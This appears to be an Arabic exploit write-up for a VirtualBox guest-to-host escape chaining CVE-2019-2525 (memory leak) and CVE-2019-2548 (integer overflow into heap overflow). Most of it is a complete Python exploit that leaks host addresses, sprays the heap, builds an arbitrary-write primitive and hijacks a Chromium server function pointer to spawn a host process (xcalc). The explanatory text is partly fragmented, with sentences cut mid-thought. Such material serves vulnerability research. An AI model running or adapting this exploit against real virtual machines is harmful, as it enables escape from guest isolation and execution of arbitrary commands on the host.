
CVE-2019-2525 / CVE-2019-2548
أخطاء VBox المستخدمة
crUnpackExtendGetAttribLocation كشف المعلوماتcrServerDispatchReadPixels تجاوز عدد صحيح (Integer overflow)، يؤدي إلى تجاوز سعة الكومة (Heap overflow)أولاً، وقبل الشرح، أرفق مقطع فيديو يوضح تنفيذ الاستغلال أدناه.
https://youtu.be/IQRLtqMgVCY?t=46
hgcm_connect وhgcm_disconnect عدة مرات، يمكن رفع القيم المرتبطة بـ cr_server في الذاكرة، كما يمكن تسريب الذاكرة عبر إزاحة سالبة في crUnpackExtendGetAttribLocation للحصول على عنواني cr_server+19056 وcrVBoxHGCMDoDisconnect.cr_server وcrSpawn.CRVBOXSVBUFFER_t في الذاكرة. يُستخدم alloc_buf هنا، ولأن الذاكرة تُخصَّص بشكل متتالٍ، فإن pData الخاص ببنية المخزن المؤقت يُخصَّص أيضاً بجوار بنية المخزن مباشرةً.pData بنفس حجم CRVBOXSVBUFFER_t باستخدام alloc_buf(client, 0x20).

alloc_buf(client, 0x50, msg) وalloc_buf(client, 0x20, msg) لملء الكتل المحرَّرة (Free chunks). لا يتم تخصيص حجم 0x50 في الكتلة المحرَّرة بل يُخصَّص في منطقة ذاكرة أخرى.

integer overflow في crServerDispatchReadPixels، يتم تخصيص هيكل بحجم 0x20.Heap overflow بمقدار 0x18 يمكن من خلاله تعديل uiID وuiSize للهيكل التالي.
uiID المعدَّل لتعديل الكتلة التالية. وبما أن uiSize هو 0xffffffff، يمكن تغيير الكتلة التالية حتى pData إلى القيمة المطلوبة.
pData عبر الهيكل ذي uiID = 0xdeadbeef، وتنفيذ OOB Write باستخدام الهيكل ذي 0xcafebabe.cr_server + 0xc410 باستخدام OOB Write.OOB Write، يتم استبدال crServerDispatchBoundsInfoCR(cr_server+0x0xae98) الموجود في جدول الدوال بالدالة crSpawn.crSpawn. وعندها يتم تمرير command="xcalc", argv=[عنوان "xcalc", NULL] كوسائط، مما يتيح الهروب من VirtualBox وتشغيل الآلة الحاسبة.
https://youtu.be/IQRLtqMgVCY?t=46
import sys, os
from struct import pack, unpack
sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
from chromium import *
def nop_msg():
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
+ "\x00\x00\x00" +chr(CR_NOP_OPCODE)
+ pack("<IIII", 0x41414141, 0x41414141, 0x41414141, 0x41414141)
)
return msg
def make_leak_msg(offset):
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
+ "\x00\x00\x00" +chr(CR_EXTEND_OPCODE) #opcode
+ pack("<I", offset) #packet_length
+ pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE) #sub opcode
+ pack("<I", 0x41424344)
)
return msg
def make_readpixels_msg(uiId, uiSize):#x, y, width, height, formata, ttype, pixels):
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
+ "\x00\x00\x00" +chr(CR_READPIXELS_OPCODE) #opcode
+ pack("<IIIIII", 0, 0, 0, 8, 0x35, 0) #x,y,w,h, format, type
+ pack("<IIIIIIII", 0,0,0,0,0x1ffffffd, 0, uiId, uiSize) # stride, align, skipR, skipPix, byteperrow, rowlen
)
return msg
def make_crSpawn_msg(cmd, argv):
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
+ "\x00\x00\x00" +chr(CR_BOUNDSINFOCR_OPCODE) #opcode
+ pack("<I", 1)
+ cmd.ljust(16, "\x00")
+ pack("<I", 0)
+ pack("<QQ", argv, 0) # argv : execute string, null
)
return msg
def leak_address(client):
leak_success = False;
while not leak_success:
for i in range(0, 10):
leak_client = hgcm_connect("VBoxSharedCrOpenGL")
hgcm_disconnect(leak_client)
msg = make_leak_msg(0x100000000-0x9b8)
result = crmsg(client, msg)
if "\x7f\x00\x00" in result:
leak = unpack('<Q', result[16:24])[0]
if (leak%0x1000 == 0x170):
leak_success = True
break
cr_server = leak - 0x4a70
leak_success = False;
while not leak_success:
for i in range(0, 100):
leak_client = hgcm_connect("VBoxSharedCrOpenGL")
hgcm_disconnect(leak_client)
msg = make_leak_msg(0x100000000-0x9b8)
result = crmsg(client, msg)
if "\x7f\x00\x00" in result:
leak = unpack('<Q', result[16:24])[0]
if (leak%0x1000 == 0x230):
leak_success = True
break
crSpawn = leak - 0xbd20
return (cr_server, crSpawn)
def heapSpray(client):
buf_ids = []
spray_ids = []
msg = nop_msg()
# make CRVBOXSVCBUFFER_t & pData heapSpray area
for i in range(120):
buf_ids.append(alloc_buf(client, 0x20, msg))
buf_ids = buf_ids[::-1] # reverse, because fastbin is LIFO
# even buf_ids free
for idx in buf_ids[::2]:
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])
# fill CRVBOXSVCBUFFER_t free areas
for i in range(40):
spray_ids.append(alloc_buf(client, 0x50, msg))
alloc_buf(client, 0x20, msg)
# make a hole between spray area
for idx in spray_ids[::-2]:
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])
def make_corrupt_obj(pData):
obj = (
"A"*0x28
+ pack("<Q", 0x35)
+ pack("<I", 0xcafebabe) #uiId
+ pack("<I", 0xffffffff) #uiSize
+ pack("<Q", pData) # table_addr
)
return obj
def write_anywhere(addr, data):
#make corrupt obj
fake_buffer = make_corrupt_obj(addr)
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0, fake_buffer])
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xcafebabe, 0xffffffff, 0, data])
if __name__=='__main__':
client = hgcm_connect("VBoxSharedCrOpenGL")
set_version(client) #must use
# Trigger to CVE-2019-2525
cr_server, crSpawn = leak_address(client)
crServerDispatchBoundsInfoCR = cr_server+0xae98
print("[*] crServer : " + hex(cr_server))
print("[*] crSpawn : " + hex(crSpawn))
#print("[*] crServerDispatchBoundsInfoCR : " + hex(crServerDispatchBoundsInfoCR))
# heapSpray
heapSpray(client)
# Trigger to CVE-2019-2548
msg = make_readpixels_msg(0xdeadbeef, 0xffffffff)
crmsg(client, msg)
#a = input("test1 : ")
# setting "xcalc"
xcalc_string = cr_server + 0xc410
write_anywhere(xcalc_string, "xcalc")
print("[+] setting execute string ['xcalc'] : " + hex(xcalc_string))
# overwrite talbe func crSpawn
print("[+] overwriting crServerDispatchBoundsInfoCR to crSpawn")
write_anywhere(crServerDispatchBoundsInfoCR, pack("<Q", crSpawn))
# escape!! execute xcalc
msg = make_crSpawn_msg("xcalc", xcalc_string)
crmsg(client, msg)
hgcm_disconnect(client)